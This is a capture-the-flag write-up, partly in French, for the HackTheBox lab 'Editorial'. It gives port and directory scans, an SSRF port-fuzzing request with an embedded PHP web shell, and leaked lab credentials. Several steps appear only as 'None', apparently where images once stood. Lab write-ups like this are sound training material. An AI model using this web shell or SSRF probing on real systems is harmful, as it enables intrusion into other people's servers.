Post cover image

October 20, 2026

HackTheBox — Editorial

Target : 10.129.65.129

By AMOGUS | Cybersecurity

2 min read

Target : 10.129.65.129

Enumeration des ports et services

nmap -sV -sC 10.129.65.129 --min-rate=1000 -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 22:38 +0000
Nmap scan report for 10.129.65.129
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds

HTTP Enumeration (80)

None

sub-domains fuzzing

ffuf -u "http://editorial.htb/" -H "Host: FUZZ.editorial.htb" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -fw 6

Aucun sous domaine trouver

Enumeration des repertoires

feroxbuster -u http://editorial.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -C 404 -x .txt,.html,.bak,.env,.php,.xmlc,.git -k --redirects
None 
http://editorial.htb/about
http://editorial.htb/upload

http://editorial.htb/about

Finding

submissions@tiempoarriba.htb

http://editorial.htb/upload

None

SSRF

Internal port check

ffuf -w <(seq 1 65535) -u http://editorial.htb/upload-cover -X POST -H "Host: editorial.htb" -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryf454yL3BGqwH37uV" -d $'------WebKitFormBoundaryf454yL3BGqwH37uV\r\nContent-Disposition: form-data; name="bookurl"\r\n\r\nhttp://localhost:FUZZ\r\n------WebKitFormBoundaryf454yL3BGqwH37uV\r\nContent-Disposition: form-data; name="bookfile"; filename="shell.phtml"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET["cmd"]); ?>\r\n------WebKitFormBoundaryf454yL3BGqwH37uV--\r\n' -t 50 -fs 61
5000                    [Status: 200, Size: 51, Words: 1, Lines 1]

Port 5000 trouve

None

Creds

user : dev
password : dev080217_devAPI!@

Connection au serveur

None

User .txt

XXXXXXXXXXXXXXX

Privilege escalation

Durant d'enumeration j'ai cu un repertoire git surement la presence des git log

None

Creds trouver dans l'un des commit

cred : prod
pass : 080217_Producti0n_2023!@
None

Penelope Shell

None

Root.txt

XXXXXXXXXXXXXXXXX